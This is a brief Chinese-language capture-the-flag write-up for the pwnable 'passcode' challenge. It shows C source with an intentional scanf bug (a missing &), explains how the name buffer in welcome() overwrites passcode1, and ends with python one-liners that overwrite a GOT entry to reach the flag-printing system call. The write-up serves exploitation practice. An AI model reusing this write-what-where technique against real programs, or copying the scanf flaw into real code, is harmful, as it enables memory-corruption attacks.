pwnable-passcode

源码 ：

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

根据提示注意到问题 ，scanf("%d", passcode1); 遗漏了& 符号，导致执行scanf时 将修改passcode1 指向的地址。
使用gdb进行调试

welcome 和 login 是两次连续调用 ，
查看welcome 和login


两次ebp地址 ， 且welcome 读入100个字符 ， 我们可以发现刚好覆盖到passcode1 ， 由于漏掉 & ，scanf() 的作用就是修改passcode1 指向地址的值 ， 使用复写rop ， 覆盖之后的函数，并将其指向我们希望的代码，

exp:

python -c "print 'C'*96 +'\x04\xa0\x04\x08' +'134514135\n'" |./passcode

python -c "print 'C'*96 +'\x00\xa0\x04\x08' +'134514135\n'" |./passcode